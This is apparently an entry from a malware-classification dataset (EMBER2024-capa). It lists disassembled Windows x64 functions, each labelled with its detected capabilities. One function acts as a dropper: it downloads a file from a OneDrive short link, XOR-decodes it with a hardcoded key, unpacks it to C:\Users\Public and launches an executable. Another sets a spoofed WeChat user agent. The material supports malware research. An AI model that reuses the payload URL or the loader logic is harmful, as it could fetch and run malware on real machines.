joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1805f0058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1805f01df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1805f0089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1805f006f
add dl, dl
jne 0x1805f0096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1805f00f6
xor eax, eax
add dl, dl
jne 0x1805f00a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1805f01ad
add dl, dl
jne 0x1805f00b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1805f00c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1805f00d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1805f00dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1805f00ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1805f007e
mov eax, 1
add dl, dl
jne 0x1805f0106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1805f0113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1805f00fb
sub eax, ebx
mov ebx, 1
jne 0x1805f014c
mov ecx, 1
add dl, dl
jne 0x1805f012e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1805f013b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1805f0123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1805f007e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1805f0168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1805f0175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1805f015d
cmp eax, 0x7d00
jae 0x1805f019b
cmp eax, 0x500
jb 0x1805f0196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1805f007e
cmp eax, 0x7f
ja 0x1805f019e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1805f007e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1805f01d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1805f007e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140008c40
Capabilities:
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx ecx, byte [rsp + 0x10]
mov rax, qword [rsp + 8]
mov eax, dword [rax]
xor eax, ecx
and eax, 0xff
movsxd rdx, eax
lea rcx, [0x14007ee80]
mov rax, qword [rsp + 8]
mov eax, dword [rax]
shr eax, 8
mov ecx, dword [rcx + rdx*4]
xor ecx, eax
mov rax, qword [rsp + 8]
mov dword [rax], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax]
and ecx, 0xff
mov rax, qword [rsp + 8]
add ecx, dword [rax + 4]
mov rax, qword [rsp + 8]
mov dword [rax + 4], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax + 4]
imul ecx, ecx, 0x8088405
add ecx, 1
mov rax, qword [rsp + 8]
mov dword [rax + 4], ecx
mov rax, qword [rsp + 8]
mov ecx, dword [rax + 4]
shr ecx, 0x18
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
xor eax, ecx
and eax, 0xff
mov edx, eax
lea rcx, [0x14007ee80]
mov rax, qword [rsp + 8]
mov eax, dword [rax + 8]
shr eax, 8
mov ecx, dword [rcx + rdx*4]
xor ecx, eax
mov rax, qword [rsp + 8]
mov dword [rax + 8], ecx
ret

Function at 0x14000a080
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x58]
imul rax, qword [rsp + 0x60]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
test eax, eax
je 0x14000a0fb
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14000a0ee
mov rax, qword [rsp + 0x68]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x58]
jmp 0x14000a170
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
add ecx, dword [rsp + 0x34]
mov rax, qword [rsp + 0x68]
cmp ecx, dword [rax + 0x28]
jbe 0x14000a127
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
mov eax, dword [rdx + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov r8d, dword [rsp + 0x34]
mov rax, qword [rsp + 0x68]
mov edx, dword [rax + 0x2c]
mov rax, qword [rsp + 0x68]
add rdx, qword [rax + 0x20]
mov rcx, qword [rsp + 0x50]
call fcn.140023f30
mov r11d, dword [rsp + 0x34]
mov dword [rsp + 0x30], r11d
mov rax, qword [rsp + 0x68]
mov ecx, dword [rax + 0x2c]
add ecx, dword [rsp + 0x30]
mov rax, qword [rsp + 0x68]
mov dword [rax + 0x2c], ecx
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x58]
add rsp, 0x48
ret
Function at 0x14000bf40
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000bf6e
mov rax, qword [rsp + 0x50]
cmp dword [rax + 8], 0xffffffff
je 0x14000bf78
mov eax, 0x1000000
jmp 0x14000c088
mov rdx, qword [rsp + 0x50]
add rdx, 0x150
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rcx, qword [rsp + 0x50]
add rcx, 0x150
call fcn.140023390
mov r11, rax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax + r11 + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14000bfe1
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14000bfe1
mov rcx, qword [rsp + 0x50]
add rcx, 0x150
lea rdx, [0x14007f4d4]
call fcn.140023c60
cmp dword [rsp + 0x68], 1
jne 0x14000c034
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14000c013
mov dword [rsp + 0x38], 1
jmp 0x14000c01b
mov dword [rsp + 0x38], 0
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14000c034
mov eax, 0x2000000
jmp 0x14000c088
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x68]
mov edx, dword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call fcn.140009c10
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000c05f
mov eax, dword [rsp + 0x2c]
jmp 0x14000c088
mov rcx, qword [rsp + 0x20]
call fcn.14000a530
mov r11, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], r11
mov rax, qword [rsp + 0x50]
cmp qword [rax], 0
jne 0x14000c086
mov eax, 0x200
jmp 0x14000c088
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000cd40
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x278
mov rax, qword [0x14009e1c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
cmp qword [rsp + 0x280], 0
je 0x14000cd91
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000cd91
xor edx, edx
mov rcx, qword [rsp + 0x280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x288]
movsx eax, byte [rax]
test eax, eax
jne 0x14000cda5
jmp 0x14000cee4
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x14000ce11
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x14000cdee
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x14000cdfb
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
add rax, 1
mov qword [rsp + 0x148], rax
jmp 0x14000cdbf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x288]
cmp qword [rsp + 0x20], rax
je 0x14000ce93
mov rax, qword [rsp + 0x288]
mov r8, qword [rsp + 0x20]
sub r8, rax
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x150]
call fcn.140023f30
mov r11, qword [rsp + 0x288]
mov rax, qword [rsp + 0x20]
sub rax, r11
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x280]
call fcn.14000cd40
mov rax, qword [rsp + 0x140]
add rax, 1
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x280], 0
je 0x14000ceb5
mov rdx, qword [rsp + 0x280]
lea rcx, [rsp + 0x30]
call fcn.140023d00
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x30]
call fcn.140023c60
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000cee4
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140023dd0
add rsp, 0x278
ret
Function at 0x14000dda0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.14000dd60
mov rcx, qword [rsp + 0x80]
call fcn.140023390
mov dword [rsp + 0x34], eax
lea rdx, [0x14007f71c]
mov rcx, qword [rsp + 0x70]
call fcn.140024ec4
mov qword [rsp + 0x28], rax
lea rdx, [0x14007f718]
mov rcx, qword [rsp + 0x78]
call fcn.140024ec4
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x28]
call fcn.140024d1c
test eax, eax
jne 0x14000de8e
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140024cfc
mov rcx, qword [rsp + 0x28]
call fcn.140024d1c
test eax, eax
jne 0x14000de89
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
movsxd rcx, edx
mov rax, qword [rsp + 0x80]
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x58]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14002493c
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
jmp 0x14000de02
mov rcx, qword [rsp + 0x28]
call fcn.140024728
mov rcx, qword [rsp + 0x58]
call fcn.140024728
add rsp, 0x68
ret

Function at 0x14000deb0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x14009e1c0]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x14007d3f0]
mov rcx, qword [rsp + 0x198]
call fcn.14000d990
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000defb
xor eax, eax
jmp 0x14000dff7
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x20]
call fcn.14000db50
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000df2f
mov rcx, qword [rsp + 0x20]
call fcn.14000dbd0
xor eax, eax
jmp 0x14000dff7
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.14000d9c0
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000df65
mov rcx, qword [rsp + 0x20]
call fcn.14000dbd0
xor eax, eax
jmp 0x14000dff7
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x14000df8e
mov eax, dword [rsp + 0x168]
add eax, 1
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x14000dfda
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000d9c0
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.14000db10
mov dword [rsp + 0x160], eax
jmp 0x14000df7d
mov rcx, qword [rsp + 0x20]
call fcn.14000dbd0
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.140023dd0
add rsp, 0x188
ret
Function at 0x14000e010
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x828
mov qword [rsp + 0x808], 0xfffffffffffffffe
mov rax, qword [0x14009e1c0]
xor rax, rsp
mov qword [rsp + 0x810], rax
lea rcx, [rsp + 0x40]
call fcn.14000ef50
nop
lea rdx, str.C:ProgramDataen.dat
lea rcx, [rsp + 0x7b0]
call fcn.14000e2f0
nop
lea rdx, str.https:__onw.cc_1drv.ms_urlhttps:__1drv.ms_u_s_AkFPFpZOd6wAgm3MkV6h77yBmp8x_eCGXh2w
lea rcx, [rsp + 0x7d8]
call fcn.14000e2f0
nop
lea r8, [rsp + 0x7b0]
lea rdx, [rsp + 0x7d8]
lea rcx, [rsp + 0x40]
call fcn.14000f250
nop
lea rcx, [rsp + 0x7d8]
call fcn.14000e350
nop
lea rcx, [rsp + 0x7b0]
call fcn.14000e350
lea rcx, [rsp + 0x40]
call fcn.14000f050
lea r8, str.5B18C3AD8CFR4D39
lea rdx, str.C:ProgramDatade.dat
lea rcx, str.C:ProgramDataen.dat
call fcn.14000dda0
lea rdx, str.C:ProgramDatade.dat
lea rcx, str.C:UsersPublic
call fcn.14000deb0
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublic
call fcn.140023c60
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], 0
lea r9, [0x14007d3f0]
lea r8, str.C:UsersPublic
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.140002620
nop
lea rcx, [rsp + 0xb0]
call fcn.140018df8
mov dword [rsp + 0x800], 0
lea rcx, [rsp + 0xb0]
call fcn.140002500
nop
lea rcx, [rsp + 0x40]
call fcn.14000f000
mov eax, dword [rsp + 0x800]
mov rcx, qword [rsp + 0x810]
xor rcx, rsp
call fcn.140023dd0
add rsp, 0x828
ret
Function at 0x14000f0f0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x14009e1c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x70]
add rcx, 0x20
call fcn.14000f5e0
mov r8, rax
mov edx, 0x2712
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
lea rdx, str.Mozilla_5.0__Linux__Android_10__HLK_AL00_Build_HONORHLK_AL00__wv__AppleWebKit_537.36__KHTML__like_Gecko__Version_4.0_Chrome_86.0.4240.99_XWEB_4313_MMWEBSDK_20220805_Mobile_Safari_537.36_MMWEBID_2095_MicroMessenger_8.0.27.2220_0x28001B3F__WeChat_arm64_Weixin_NetType_WIFI_Language_zh_CN_ABI_arm64
lea rcx, [rsp + 0x28]
call fcn.14000e2f0
nop
lea rcx, [rsp + 0x28]
call fcn.14000f5e0
mov r8, rax
mov edx, 0x2722
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
mov r8d, 5
mov edx, 0x44
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
mov r8d, 1
mov edx, 0x34
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
mov r8d, 1
mov edx, 0x63
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
xor r8d, r8d
mov edx, Ordinal_50
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
lea r8, [0x14000f370]
mov edx, 0x4e2b
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
mov r8, qword [rsp + 0x70]
mov edx, 0x2711
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
xor r8d, r8d
mov edx, 0x40
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
xor r8d, r8d
mov edx, 0x51
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.140039670
nop
lea rcx, [rsp + 0x28]
call fcn.14000e350
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140023dd0
add rsp, 0x68
ret

Function at 0x14000f3c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov r9, qword [rsp + 0x40]
mov r9, qword [r9 + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14002493c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x140011218
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14001d920
mov rsi, rax
test rax, rax
je 0x140011294
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x14001128f
cmp dword [rbx], 0x40
jb 0x14001128f
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x14001128f
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140011298
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140017af0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x140017b58
call fcn.14001d4ec
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140017b58
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140017b7a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140017508
mov esi, eax
test rdi, rdi
je 0x140017b78
test rbx, rbx
je 0x140017b78
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x140019154
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x140019193
cmp dword [rcx + 0xa8], 0
jne 0x140019193
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.14001d4ec
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.1400190f8
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14002601c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.140032038
nop
cmp dword [0x1400a39c8], 1
je 0x140025fc8
mov dword [0x1400a39c4], 1
mov byte [0x1400a39c0], r12b
test ebx, ebx
jne 0x140025fb4
mov rcx, qword [0x1400a5c50]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140025fa1
mov rcx, qword [0x1400a5c48]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140025f40
call fcn.140026b2c
cmp qword [rdi], rax
jne 0x140025f40
jmp 0x140025f26
cmp rdi, rsi
jb 0x140025fa1
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140026b2c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400a5c50]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1400a5c48]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140025f7f
cmp r13, rax
je 0x140025f9f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140025f26
lea rdx, [0x14007cc38]
lea rcx, [0x14007cc20]
call fcn.140025d70
lea rdx, [0x14007cc48]
lea rcx, [0x14007cc40]
call fcn.140025d70
nop
test r12d, r12d
je 0x140025fd7
mov ecx, 8
call fcn.140031f38
test r12d, r12d
jne 0x140026002
mov dword [0x1400a39c8], 1
lea ecx, [r12 + 8]
call fcn.140031f38
mov ecx, r15d
call fcn.140025d04
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140025e90

Function at 0x140026028
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140025e90
Function at 0x14002c6b3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14009e1c0]
jne 0x140023dea
rol rcx, 0x10
test cx, 0xffff
jne 0x140023de6
repz ret
ror rcx, 0x10
jmp 0x14002c60c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400a3ad0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400a3bc8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14002c691
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400a3ad0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14002c6b3
mov rax, qword [rsp + 0x88]
mov qword [0x1400a3bc8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400a3b68], rax
mov rax, qword [0x1400a3bc8]
mov qword [0x1400a3a40], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400a3b50], rax
mov dword [0x1400a3a30], 0xc0000409
mov dword [0x1400a3a34], 1
mov rax, qword [0x14009e1c0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14009e1c8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400a3ac8], eax
mov ecx, 1
call fcn.14002fad4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, str.0:_n_
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400a3ac8], 0
jne 0x14002c73a
mov ecx, 1
call fcn.14002fad4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret